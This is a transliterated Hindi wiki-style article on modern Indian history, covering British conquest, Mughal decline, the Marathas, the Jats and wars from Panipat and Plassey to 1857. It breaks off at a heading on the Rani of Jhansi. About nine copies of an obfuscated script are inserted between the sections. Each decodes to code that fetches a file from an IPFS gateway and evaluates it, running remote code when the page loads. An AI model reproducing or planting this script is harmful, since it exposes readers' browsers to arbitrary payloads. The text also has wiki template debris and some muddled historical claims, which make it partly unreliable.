आधुनिक भारत का इतिहास

bharatiyoan ki phoot tatha vighatanakari tattvoan ke karan atharahavian shatabdi mean bharat par aangrezoan ka prabhutv jam gaya. bharat ke itihas mean lagabhag pahali bar aisa hua ki, isake prashasan aur bhagy-nirnay ki dor ek aisi videshi jati ke hathoan mean chali gee, jisaki matribhoomi kee hazar mil door avasthit thi. is tarah ki paradhinata bharat ke lie ek sarvatha naya anubhav thi, kyoanki yoan to atit mean bharat par kee akraman hue the, samay-samay par bharatiy pradesh ke kuchh bhag asthayi taur par vijetaoan ke upaniveshoan mean shamil ho gaye the, par aise avasar kam hi aye the, aur unaki avadhi bhi atyalp hi rahi thi. bharat par aangrezoan ne ek videshi ki tarah shasan kiya. aise kam hi aangrez shasak hue, jinhoanne bharat ko apana desh samajha aur kalyanakari bhavana se utprerit hokar shasan kiya. unhoanne vyapar aur rajanitik sadhanoan ke madhyam se bharat ka arthik shoshan kiya aur dhan-nikas ki niti apanakar desh ko khokhala kar dala. unhoanne bharatiyoan ke naitik manobal par sadaiv aghat kiya. is kal ke itihas ke panne is bat ko siddh karate haian ki, ek or jahaan british satta ke bharat mean sthapit ho jane ke bad desh mean ghor andhakarapoorn aur nirashajanak vatavaran sthapit ho gaya, vahian doosari or desh ko gulami ki or dhakel diya gaya.

bharat ka patan

chitr:Blockquote-open.gif yah bat shuroo mean hi saf ho gee thi ki, saphalata aangrezoan ke hath lagegi, aur usake karan spasht the. ve rashtravad mean vishvas rakhate the, jabaki bharat mean n yah bhavana thi, aur n hi anushasan. yuddh-kaushal tatha rananiti mean aangrez bharatiyoan ki apeksha kahian age the. bharatiy sainik nishthavan to the, par inhean bhi apane raja ke prati poorn eemanadar aur vafadar nahian kaha ja sakata. bharatiy itihas mean n jane kitane hi sahayakoan aur vishvasapatroan ne apane hi rajaoan ko dhokha diya aur unake sath vishvasaghat karake unhean maut ke ghat utar diya. inhian sab batoan se bharatiyoan ka apani bhoomi par hi patan hua. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharat ke prati ianglaind ki adhikar lipsa ki bhavana bahut pahale hi ubharane lagi thi, tatha aangrez log bharat ko apane adhikar ki vastu aur sab prakar se patit desh manane lage. bharat ka upayog ianglaind ke lie karana unaka pramukh drishtikon ban gaya tha. aangrez prashasan, n bharatiy janata ke prati sahanubhooti rakhata tha aur n hi bharatavasiyoan ke kalyan ke prati sajag tha. ianglaind mean jo qanoon ya niyam bharat ke sambandh mean banaye jane lage the, unake prati yah british niti bani ki, bharat ke hitoan ka ianglaind ke lie sadaiv balidan kiya jana chahie. aangrezoan ki is niti ke karan bharat uttarottar arthik drishti se nirdhan aur saanskritik drishti se hin hota chala gaya. bharat ke patan ke sambandh mean kee prasiddh vyaktiyoan ne apane vichar rakhe haian, unamean se kuchh is prakar se haian-

• keshav chandr sen ke anusar - "aj ham apane charoan or jo dekhate haian, vah hai ek gira hua rashtr. ek aisa rashtr, jisaki prachin mahanata khandaharoan mean g di huee p di hai. usaka rashtriy sahity aur vijnan, usaka adhyatm jnan aur darshan, usaka udyog aur vanijy, usaki samajik samriddhi aur garhasthik sadagi aur madhurata aisi hai, jisaki ginati lagabhag atit ki vastuoan mean ki jati hai. jab ham adhyatmik, samajik aur bauddhik drishti se uj de hue, shokayukt aur udasin drishy, jo hamare samane phaila hua hai, ka nirikshan karate haian, to ham vyarth hi usamean kalidas ke desh-kavita, vijnan aur sabhyata ke desh ko pahachanane ka prayatn karate haian."
• d aau. thyodor ke anusar - "pradhanatah arthik labh ke lie eest indiya kampani ne british rajy ki sthapana ki aur usaka vistar kiya."
• tarachandr ke anusar - "satrahavian shatabdi mean bharat ka gaurav apani parakashtha par tha, aur usaki madhyugin sanskriti apani charam sima par pahuanch gee thi. parantu jaise-jaise ek ke bad ek shatabdiyaan bitian, vaise-vaise yooropiy sabhyata ka soory tezi se akash ke madhy ki or badhane laga aur bharatiy gagan mean andhakar chhane laga. phalatah jaldi hi desh par andhera chha gaya, aur naitik patan tatha rajanitik arajakata ki parachhaiyaan lambi hone lagian.

bharatiyoan ka virodh

yah sahi hai ki, prashasan evan yatayat tatha shiksha ke kshetr mean bharatavasiyoan ne is videshi shasan se anek tattv grahan kiye, kintu is bat se inkar nahian kiya ja sakata ki, aangrezoan ne adhikadhik arthoparjan karane ki niti ka hi anushilan kiya. yahi karan tha ki, jahaan bharatiyoan ne musalamanoan ke shasan ko svikar karake use bharatiy shasan ke itihas mean shamil kiya, vahian unhoanne aangrazoan ko apana sanprabhu nahian mana. hriday ki gaharaiyoan se unake shasan ko svikar nahian kiya aur prarambh se hi unake prati apana virodh prakat kiya. aangrez kabhi bhi bharatiy n ban sake, sadaiv videshi bane rahe aur samay ane par sab ke sab svadesh chale gaye. yah videshi shasan bharatiyoan ko qatee svikar nahian tha. bangal ke 'siraj' ke kal se lekar dilli ke bahadurashah dvitiy ke kal tak bharatiy virodh jari raha tha.

aangrez

1. REDIRECTsaancha:mukhy

bharat mean vyaparik kothiyaan kholane ke prayas ke antargat hi briten ke samrat jems pratham ne 1608 ee. mean kaiptan h aaukins ko apane rajadoot ke roop mean mugal samrat jahaangir ke darabar mean bheja tha. 1609 ee. mean h aaukins ne jahaangir se milakar soorat mean basane ki ijajat maangi, parantu purtagaliyoan tatha soorat ke saudagaroan ke vidroh ke karan use svikriti nahian mili. h aaukins farasi bhasha ka bahut achchha janakar tha. kaiptan h aaukins tin varshoan tak agara mean raha. jahaangir ne usase prasann hokar use 400 ka manasab tatha jagir pradan ki. 1616 ee. mean samrat jems pratham ne sar t aaumas ro ko apana rajadoot banakar jahaangir ke pas bheja. t aaumas ro ka ekamatr udeshy tha - 'vyaparik sandhi karana'. yadyapi usaka jahaangir se vyaparik samajhauta nahian ho saka, phir bhi use gujarat ke tatkalin soobedar 'khurram' (bad mean shahajahaan ke nam se prasiddh) se vyaparik kothiyoan ko kholane ke lie faraman prapt ho gaya. is prakar aangrezoan ke pair ek bar jo bharat mean jame, vah 1947 ee. mean desh ke azad hone tak ke bad hi ukh d sake.180px|thumb|eest indiya kampani ki muhar

eest indiya kampani

1. REDIRECTsaancha:mukhy

eest indiya kampani ek niji vyaparik kampani thi, jisane 1600 ee. mean shahi adhikar patr dvara vyapar karane ka adhikar prapt kar liya tha. isaki sthapana 1600 ee. ke antim din maharani elijabeth pratham ke ek ghoshanapatr dvara huee thi. yah landan ke vyapariyoan ki kampani thi, jise poorv mean vyapar karane ka ekadhikar pradan kiya gaya. kampani ka mukhy uddeshy bharat mean vyapar karana aur dhan kamana tha. 1708 ee. mean eest indiya kampani ki pratidvandi kampani 'nyoo kampani' ka 'eest indiya kampani' mean vilay ho gaya. parinamasvaroop 'd yoonaited kampani aauf marcheants aauf ianglaind trediang too eest iandij' ki sthapana huee. kampani aur usake vyapar ki dekh-rekh 'garvanar-in-kaunsil' karati thi.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aangrezoan ki ekata evan niti

[[chitr:William-Bentinck.jpg|thumb|150px|l aaurd viliyam baiantik]] yah bat shuroo mean hi saf ho gee thi ki, saphalata aangrezoan ke hath lagegi, aur usake karan spasht the. ve rashtravad mean vishvas rakhate the, jabaki bharat mean n yah bhavana thi, aur n hi anushasan. yuddh-kaushal tatha rananiti mean aangrez bharatiyoan ki apeksha kahian age the. bharatiy sainik nishthavan to the, par inhean bhi apane raja ke prati poorn eemanadar aur vafadar nahian kaha ja sakata. bharatiy itihas mean n jane kitane hi sahayakoan aur vishvasapatroan ne apane hi rajaoan ko dhokha diya aur unake sath vishvasaghat karake unhean maut ke ghat utar diya. inhian sab batoan se bharatiyoan ka apani bhoomi par hi patan hua. udhar aangrezoan ke samane naitikata jaisi koee chiz nahian thi. bangal, avadh, maisoor, maharashtr, panjab aur siandh in sabhi ka vilay aangrezi samrajy mean ho gaya tha. jo bhi aangrez shasak aye, chahe vah varen hestiangs ho ya l aaurd k aaurnav aaulis, l aaurd velezali ho ya l aaurd hestiangs, l aaurd viliyam baiantik ho ya l aaurd dalahauzi, in sabhi ne apane shasakiy evan sainik sudharoan par atyadhik bal diya. in sabhi ka sirf ek hi makasad tha, sampoorn bharat par adhikar aur british satta mean vriddhi. apane is lakshy ko prapt karane ke lie aangrezoan ne apani apasi soojhaboojh banaye rakhi aur har sambhav prayatn kiya.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy samaj ki kuritiyaan

bharatiy samaj anek kuritiyoan ka shikar tha. jati-pratha, shishu-bali, bal-vivah, sati pratha, vidhava vivah-nishedh adi ke karan bharatiy samaj khokhala ho raha tha. apani aandhavishvasi parampara evan riti-rivajoan ke ghere mean p de bharatiy adhunikata se sarvatha aparichit the. eest indiya kampani ne shuroo mean to bharatiy samaj ke mamale mean tatasthata ki niti apanayi, parantu 18 vian shatabdi ke antim charan mean aangrez bharatiy samaj mean sudhar lane ki sochane lage. bharat ke prati sudharavadi drishtikon apanane ke pichhe jo bhi karan rahe hoan, parantu isase bharat mean punarjagaran ka marg khula. samajik qanoon banane ka kram shuroo hua. shishu-vadh, vidhava vivah-nishedh, nar bali, sati pratha adi aisi batean thian, jinake nivaran mean sarakar ko raja ramamohan ray tatha eeshvarachandr vidyasagar jaise bharatiy netaoan ka sahayog bhi mila.

bharat ka arthik shoshan

eest indiya kampani ke kal mean arthik parivartan hue. aangrezoan ke ane se pahale bharatiy gram atmanirbhar the. bharatiy karigari ki khyati door-door tak thi. bharat ke saman se deshi aur videshi mandiyaan bhari rahati thian. 18 vian shatabdi ke arambh tak bharat se utkrisht sooti aur reshami vastr, masale, nil, chini, davaean aur javaharat adi b di matra mean videsh bheje jate the, aur badale mean sona aur chaandi hindustan mean ata tha. shuroo mean eest indiya kampani ne bhi bharatiy chijoan ka khoob niryat kiya, parantu kalantar mean bharatiy vyapar aur kala-kaushal ka gala ghoantane ki niti apanayi gayi. krishi-bhoomi par bhoo-rajasv lagaya gaya, jisaki kathorata ke karan krishi ki pragati samapt ho gee. is prakar kampani ke shasan kal mean krishi, vyapar v udyog tinoan ka patan hua. 19 vian shatabdi ke poorv bharat mean pooanji lagakar aangrezoan ne yahaan ki arthavyastha par apani pak d kar li. doosari or vah bharat ka dhan ianglaind le gaye. in donoan batoan se hi bharat ka arthik shoshan hua. dhan ke is nirgaman ne jahaan bharat ko daridr banaya, vahian ianglaind ke audyogik vikas ne gati pak d li.

bharat ki tatkalin rajanitik sthiti

bharat mean videshiyoan ke agaman ke samay rajaniti mean do pramukh shaktiyaan thian : mugal aur maratha. mugal patanonmukh ho chale the, aur maratha vikasonmukh the. vastavikata yah thi ki, aurangazeb ki mrityu (1707 ee.) ke uparant bharat mean kendriy satta nahian rahi aur sara desh chhote-chhote rajyoan mean vibhakt ho gaya. atharahavian shatabdi ke prarambh mean hi charamarate hue mugal samrajy ko patan ki or agrasar hona hi tha. samrajy ke vibhinn rajyoan mean sangharsh chalane lage aur ve ek doosare ko h dapane ke lie nirantar shadyantr ki rachana karane lage. aurangazeb ki mrityu ke pahale se hi yoorop ki vibhinn jatiyoan ka agaman bharatavarsh mean hone laga tha. ye jatiyaan desh ki l dakh dati rajaniti aur vyapt arajakata ko dekh rahi thian.

ayogy mugal uttaradhikari

aurangazeb ki mrityu kal se lekar plasi ki l daee ke poorv kal tak bangal, bihar aur u disa ki rajaniti mugal prashasan se aprabhavit rahane lagi. 'sukumar bhattachary' ne likha hai, "yah saty hai ki aurangazeb ki mrityu se poorv hi shadyantrakari shaktiyoan ne sir uthana prarambh kar diya tha. yahaan tak ki jis rajy ki j de itani shaktishali thian, unhean dhool-dhoosarit kar diya gaya aur ab aurangazeb ke vansh mean koee aisa nahian raha, jo in shadyantroan ko kuchal sakata. isaka karan yah tha ki, mugaloan ka vishal samrajy kee prantoan mean vibhajit tha, jo soobedaroan ke sanrakshan mean the. pratyaksh hai ki, aisa shasan prabandh shaktishali kendriy sarakar ki upasthiti mean hi chal sakata tha. lekin mugaloan ka kendriy shasan-prabandh aurangazeb ki anupasthiti mean nitant shaktihin aur adridh ho gaya tha. usake sare ke sare uttaradhikari jahaandarashah, farrukhasiyar, muhammadashah adi ayogy the, jo girate samrajy ko sanbhal nahian sakate the. aisi sthiti mean mugal soobedar apane prantoan ke svami ban baithe. is karan samrajy mean charoan taraf ashanti, upadrav shadyantr adi ke bazar garm ho gaye. dakshin bharat ke rajy bhi ashant ho uthe. dakshin mean nizamulamulk, asifajan aur avadh mean sadat ali khaan ne svatantr rajasatta ka prayog kiya. isi marg ka anushilan roohelakhand ke afagan pathanoan ne bhi kiya. marathoan ne bhi maharashtr, madhy pradesh, malava aur gujarat par adhikar karake poona ko apani rajanitik kary-kalapoan ka kendr bana liya. agar 1761 ee. mean ahamadashah abdali ke hathoan panipat ke maidan mean marathoan ko parajay n mili hoti to, aj bharatiy itihas ki ek nee rooparekha hoti. bharat mean kam karane vali yooropiy kampaniyaan kya is antarik phoot se labh uthane ke lobh ka sanvaran kar sakati thian?

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Chatrapati-Shivaji.jpg|180px|thumb|shivaji]]

marathoan ka utkarsh

1. REDIRECTsaancha:mukhy

mugal shasan ki shaktihinata ke karan bharat mean ane vali videshi jatiyoan aur unaki kampaniyoan ko prabhav jamane ka mauqa to mila hi, bharat ki ek any shakti maratha bhi apana vikas karati gee aur mugal prashasan ki sanprabhuta ko chunauti dekar apani pradhanata qayam kar li. unnisavian shatabdi ka ek aangrez itihasakar likhata hai ki, "aurangazeb ki mrityu ke sath hi mugal samrajy ka patan arambh ho gaya. jahaandarashah laparavah, lampat aur pagalapan ki had tak nashebaz tha. usane duracharapoorn aur strain darabari jivan ka ek dusht namoona samane rakha aur shasak varg ki naitikata ko kalankit kiya. is kathaputali badashah ke kal mean sari satta vazir tatha any darabariyoan ke hathoan mean chali gee. uttaradayitv bant jane se prashasan mean laparavahi ayi aur arajakata phail gee. apane gyarah mahine ke prashasan kal mean jahaandarashah ne apane poorvajoan dvara sanchit khazane ko adhikaanshat: loota diya. sona, chaandi aur babar ke samay se ikatthi ki gee any moolyavan chizean u da di geean. yuvak muhammadashah ko prashasan mean koee ruchi nahian thi. vah nimn koti ke logoan se ghira rahata tha aur tuchchh kamoan mean apana samay bitata tha. isi ke shasan kal mean dilli par nadirashah ka akraman hua tha. is samay bharat ki shakti adhikaanshat: marathoan ke hathoan mean a chuki thi, aur vahi nadirashah ke akraman ka mukabala bhi kar sakate the.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shivaji ke uttaradhikari

[[chitr:Balaji-Bajirao.jpg|thumb|150px|balaji bajirav]] prachin rajy sab chhinn-bhinn ho chuke the aur mugaloan ka samana marathoan se tha, jo pratidin shaktishali hote ja rahe the, aur ant mean marathe mugaloan par poori tarah se chha gaye. marathoan mean rajanitik jagaran evan sangathan ki prishthabhoomi ka nirman chhatrapati shivaji ne kiya tha. aurangazeb ke shasan-kal mean hi unhoanne toran, ramagadh, chakan, kalyani adi ko jitakar apani shakti badha li thi, tatha bijapur ke sultan, yahaan tak ki aurangazeb se bhi sangharsh karake apani ajey shakti ka parichay diya. unhoanne svatantr maratha rajy ki sthapana kar li, jise vivash hokar mugal samrat ko bhi manyata deni padi. shivaji ke netritv mean nirmit maratha prashasan mugal samrajy ki kamazori ka parichayak hai. shivaji ke uttaradhikariyoan-shambhaji, rajaram, shivaji dvitiy aur shahoo ne maratha rajy ka sanchalan kiya. unake bad peshavaoan ki pradhanata maratha rajy mean qayam ho gee. balaji vishvanath, bajirav pratham aur balaji bajirav namak peshavaoan ne maratha shakti ko apane sanrakshan mean qayam rakha. yadyapi ek din marathe ahamadashah abdali ke hathoan parajit hue, tathapi unhoanne bharat ki ek mahanh shakti ke roop mean apana astitv banaye rakha. plasi ki l daee ke bad ve aurangazeb ke ek b de virodhi siddh hue.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

any shaktiyoan ka udbhav

uttar mugalakalin shasakoan ke shasan kal mean marathoan ke atirikt bharat mean sikkhoan, rajapootoan, jatoan tatha ruheloan ke roop mean any shaktiyaan bhi uchhal-kood kar rahi thian. sikkhoan ne panjab mean apani shakti mean vriddh kar li thi. panjab mean unhoanne apani svatantr satta sthapit kar li aur mugaloan ki sanprabhoota ki avahelana kar di. isi prakar rajapootoan ne rajapootana mean, jatoan ne dilli ke as-pas aur ruheloan ne roohelakhand mean apani-apani shakti ka vistar kar liya. marathoan tatha sikkhoan ki tarah unhoanne bhi apani svatantr satta ki sthapana kar dali. sampoorn desh ko vighatit karane vali in tamam shaktiyoan par niyantran rakhana mugal shasakoan ke lie sambhav nahian rah gaya aur desh vighatit hone laga. desh ki aisi anaikyapoorn sthiti mean bharat mean videshi jatiyoan tatha kampaniyoan ka agaman hua aur in navagat kampaniyoan ko apana adhikar-kshetr vistrit karane ka avasar mil gaya. in videshiyoan ko apana kshetradhikar badhane ka ye suavasar yooan hi nahian mil gaya. inhoanne dekh liya tha ki, bharat ki deshi riyasatoan mean apasi phoot bahut zyada hai. ye phoot is had tak badh chuki thi ki deshi riyasatean bahari logoan ka mukabala karane ki bajay apas mean hi l dati rahian. jab in riyasatoan ne bahari akramanakariyoan ko pahachana, tab tak bahut der ho chuki thi. [[chitr:Maharaja-Surajmal-1.jpg|thumb|150px|soorajamal]]

jat

1. REDIRECTsaancha:mukhy

aurangazeb ke shasak banane ke kuchh hi samay ke andar jat aankh ka kaanta ban ge the. unaka nivas mukhyatah shahi paragana tha, jo "mote taur par ek chaukor pradesh tha, jo uttar se dakshin ki or lagabhag 250 mil lamba aur 100 mil chau da tha". yamuna nadi isaki vibhajak rekha thi, dilli aur agara isake do mukhy nagar the. isamean vrindavan, gokul, govardhan aur mathura mean hindoo dharmik tirthasthan tatha mandir bhi the. poorv mean yah ganga ki or phaila tha aur dakshin mean chambal nadi tak, ambala ke uttar mean paha doan aur pashchim mean maroosthal tak. " inake rajy ki koee vastavik simaean nahian thian. yah ilaqa kahane ko samrat ke sidhe shasan ke adhin tha, parantu vyavahar mean yah kuchh saradaroan mean banta hua tha. yah zaminean unhean, unake sainikoan ke bharan-poshan ke lie di gee haian. jat-log dabang dehati the, jo sadharanataya shant hone par bhi, usase adhik rajasv dene vale nahian the, jitana ki unase jabaradasti aiantha ja sakata tha; aur unhoanne mitti ki divarean banakar apane gaanvoan ko aise qiloan ka roop de diya tha, jinhean keval topakhane dvara jita ja sakata tha. jat shasakoan mean maharaja soorajamal (shasanakal sanh 1755 se sanh 1763 tak )aur unake putr javahar sianh (shasan kal sanh 1763 se sanh 1768 tak ) mathura ke itihas mean bahut prasiddh haian .

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ki aitihasik l daeeyaan

bharatiy itihas mean samay-samay par kee yuddh hue haian. in yuddhoan ke dvara bharat ki rajaniti ne n jane kitani hi bar ek alag hi disha prapt ki. bharatiy riyasatoan mean apas mean hi kee itihas prasiddh yuddh l de ge. in deshi riyasatoan ki apasi phoot bhi is had tak badh chuki thi, ki aangrezoan ne usaka poora labh uthaya. rajapootoan, marathoan aur musalamanoan mean bhi kee sandhiyaan hueean. bharat ke itihas mean adhikaansh yuddhoan ka lakshy sirf ek hi tha, dilli saltanat par hukoomat. aangrezoan ne hi apani soojhaboojh aur chalaki v kootaniti se dilli ki hukoomat prapt ki thi. halaanki unhean bharat mean apane paanv jamane ke lie kafi pareshaniyoan ka samana karana p da tha, phir bhi unhoanne bharatiyoan ki apasi phoot ka labh uthate hue ise ek lambe samay tak gulam banaye rakha. [[chitr:Ahmad-Shah-Abdali.jpg|thumb|150px|ahamadashah abdali]]

panipat yuddh

1. REDIRECTsaancha:mukhy

ahamadashah abdali ne 1748 se 1760 ee. ke bich bharat par chadhaiyaan kian aur 1761 ee. mean panipat ki tisari l daee jit kar mugal samrajy ka fatiha padh diya. usane dilli par dakhal karake use loota. panipat ki tisari l daee mean sabase adhik kshati marathoan ko uthani p di. kuchh samay ke lie unaki badh ruk gayi aur is prakar ve mugal badashahoan ki jagah le lene ka mauqa kho baithe. yah l daee vastav mean mugal samrajy ke patan ki soochak hai. isane bharat mean mugal samrajy ke sthan par british samrajy ki sthapana mean madad ki. abdali ko panipat mean jo fatah mili, usase n to vah svayan koee labh utha saka aur n usaka sath dene vale musalaman saradar. is l daee se vastavik fayada aangrezi eest iandiya kampani ne uthaya. isake bad kampani ko ek ke bad doosari saphalataean milati gayian.

plasi ka yuddh

1. REDIRECTsaancha:mukhy

plasi ka yuddh 23 joon, 1757 ee. ko l da gaya tha. aangrez aur bangal ke navab sirajuddaula ki senayean 23 joon, 1757 ko murshidabad ke dakshin mean 22 mil door 'nadiya zile' mean bhagirathi nadi ke kinare 'plasi' namak gaanv mean amane-samane a geean. sirajuddaula ki sena mean jahaan ek or 'miramadan', 'mohanalal' jaise deshabhakt the, vahian doosari or mirajafar jaise kutsit vicharoan vale dhokhebaz bhi the. yuddh 23 joon ko pratah 9 baje prarambh hua. mirajafar evan rayadurlabh apani senaoan ke sath nishkriy rahe. is yuddh mean miramadan mara gaya. yuddh ka parinam shayad niyati ne pahale se hi tay kar rakha tha. r aaubart klaiv bina yuddh kiye hi vijayi raha. phalasvaroop mirajafar ko bangal ka navab banaya gaya. ke.em.panikkar ke anusar, 'yah ek sauda tha, jisamean bangal ke dhani sethoan tatha mirajafar ne navab ko aangrezoan ke hathoan bech dala'.[[chitr:Hyder-Ali.jpg|thumb|150px|haidar ali]]

maisoor yuddh

1. REDIRECTsaancha:mukhy

1761 ee. mean haidar ali ne maisoor mean hindoo shasak ke oopar niyantran sthapit kar liya. nirakshar hone ke bad bhi haidar ali ki sainik evan rajanitik yogyata advitiy thi. usake fraansisiyoan se achchhe sambandh the. haidar ali ki yogyata, kootanitik soojhaboojh evan sainik kushalata se marathe, nizam evan aangrez eershya karate the. haidar ali ne aangrezoan se bhi sahayog maanga tha, parantu aangrez isake lie taiyar nahian hue, kyoanki isase unaki rajanitik mahatvakaanksha poori n ho pati. bharat mean aangrezoan aur maisoor ke shasakoan ke bich char sainy muthabhe d huee thian. aangrezoan aur haidar ali tatha usake putr tipoo sultan ke bich samay-samay par yuddh hue. 32 varshoan (1767 se 1799 ee.) ke madhy mean ye yuddh chhe de ge the.

aangl-maratha yuddh

1. REDIRECTsaancha:mukhy

[[chitr:Tipu-Sultan.jpg|thumb|150px|right|tipoo sultan]] bharat ke itihas mean tin aangl-maratha yuddh hue haian. ye tinoan yuddh 1775 ee. se 1818 ee. tak chale. ye yuddh british senaoan aur maratha mahasangh ke bich hue the. in yuddhoan ka parinam yah hua ki, maratha mahasangh ka poori tarah se vinash ho gaya. marathoan mean pahale se hi apas mean kafi bhedabhav the, jis karan vah aangrezoan ke viruddh ekajut nahian ho sake. jahaan raghunatharav ne eest indiya kampani se mitrata karake peshava banane ka sapana dekha, aur aangrezoan ke sath soorat ki sandhi ki, vahian qayar bajirav dvitiy ne basin bhagakar aangrezoan ke sath basin ki sandhi ki aur marathoan ki svatantrata ko bech diya. pahala yuddh(1775-1782 ee.) raghunatharav dvara mahasangh ke peshava (mukhyamantri) ke dave ko lekar british samarthan se prarambh hua. janavari 1779 ee. mean b dagaanv mean aangrez parajit ho ge, lekin unhoanne marathoan ke sath salabaee ki sandhi (mee 1782 ee.) hone tak yuddh jari rakha.

aangl-sikkh yuddh

1. REDIRECTsaancha:mukhy

bharat ke itihas mean do sikkh yuddh hue haian. in donoan hi yuddhoan mean sikkh aangrezoan se parajit hue aur unhean aangrezoan se unaki manamani shartoan ke anusar sandhi karani p di. pratham yuddh mean parajay ke karan sikkhoan ko aangrezoan ke sath 9 march, 1846 ee. ko 'lahaur ki sandhi' aur isake uparant ek aur sandhi, 'bhairoval ki sandhi' 22 disambar, 1846 ee. ko karani p di. in sandhiyoan ke dvara 'lal sianh' ko vazir ke roop mean aangrezoan ne manyata pradan kar di aur apani ek rejident ko lahaur mean rakh diya. maharani zinda kaur ko dalip sianh se alag kar diya gaya, jo ki dalip sianh ki sanrakshika thian. unhean 'shekhapura' bhej diya gaya. dvitiy yuddh mean sikkhoan ne aangrezoan ke age atm samarpan kar diya. dalip sianh ko penshan pradan kar di gee. use v rani zinda kaur ko 5 lakh rupaye varshik penshan par ianglaind bhej diya gaya. jahaan par kuchh samay bad hi rani zinda kaur ki mrityu ho gee.

gorakha yuddh

1. REDIRECTsaancha:mukhy

gorakha yuddh 1816 ee. mean british bharatiy sarakar aur nepal ke bich hua. us samay bharat ka gavarnar-janaral l aaurd hestiangs tha. eest indiya kampani ke rajy ka prasar nepal ki taraf bhi hone laga tha, jabaki nepal apane rajy ka vistar uttar ki or chin ke hone ke karan nahian kar sakata tha. gorakhoan ne pulis thanoan par hamala kar diya aur kee aangrezoan ko apana nishana banaya. in sab paristhitiyoan mean kampani ne gorakha logoan ke viruddh yuddh ki ghoshana kar di.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pratham svatantrata sangram

1. REDIRECTsaancha:mukhy

l aaurd kainiang ke gavarnar-janaral ke roop mean shasan karane ke dauran hi 1857 ee. ki mahanh kranti huee. is kranti ka arambh 10 mee, 1857 ee. ko merath se hua, jo dhire-dhire kanapur, bareli, jhaansi, dilli, avadh adi sthanoan par phail gaya. is kranti ki shuruat to ek sainy vidroh ke roop mean huee, parantu kalantar mean usaka svaroop badal kar british satta ke viruddh ek janavyapi vidroh ke roop mean ho gaya, jise bharat ka pratham svatantrata sangram kaha gaya.[[chitr:Mangal Panday.jpg|thumb|mangal pande]] 1857 ee. ki is mahanh kranti ke svaroop ko lekar viddhan ek mat nahian hai. is bare mean vidvanoan ne apane alag-alag mat pratipadit kiye haian, jo is prakar haian-'sipahi vidroh', 'svatantrata sangram', 'samantavadi pratikriya', 'janakranti', 'rashtriy vidroh', 'muslim shadayantr', 'eesaee dharm ke viruddh ek dharm yuddh' aur 'sabhyata evan barbarata ka sangharsh' adi.

mangal pande

1. REDIRECTsaancha:mukhy

29 march, 1857 ee. ko mangal pande namak ek sainik ne 'bairakapur chhavani' mean apane afasaroan ke viruddh vidroh kar diya, lekin british sainy adhikariyoan ne is sainik vidroh ko saralata se niyantrit kar liya aur sath hi usaki bataliyam '34 en.aee.' ko bhang kar diya. 24 aprail ko 3 el.si. pared merath mean 90 ghu dasavaroan mean se 85 sainikoan ne naye karatoos lene se iankar kar diya. ajna ki avahelana ke karan in 85 ghudasavaroan ko kort marshal dvara 5 varsh ka karavas diya gaya. 'khula vidroh' 10 mee, din ravivar ko saanyakal 5 v 6 baje ke madhy prarambh hua. sarvapratham paidal tuk di '20 en.aee.' mean vidroh ki shuruat huee, tatpashchath '3 el.si.' mean bhi vidroh phail gaya. in vidrohiyoan ne apane adhikariyoan ke oopar goliyaan chalaee. mangal pande ne 'hiyarase' ko goli mari thi, jabaki 'afasar bag' ki hatya kar di gee thi.[[chitr:Rani-Laxmibai-2.jpg|thumb|150px|rani lakshmibaee]]

jhaansi ki rani

1. REDIRECTsaancha:mukhy

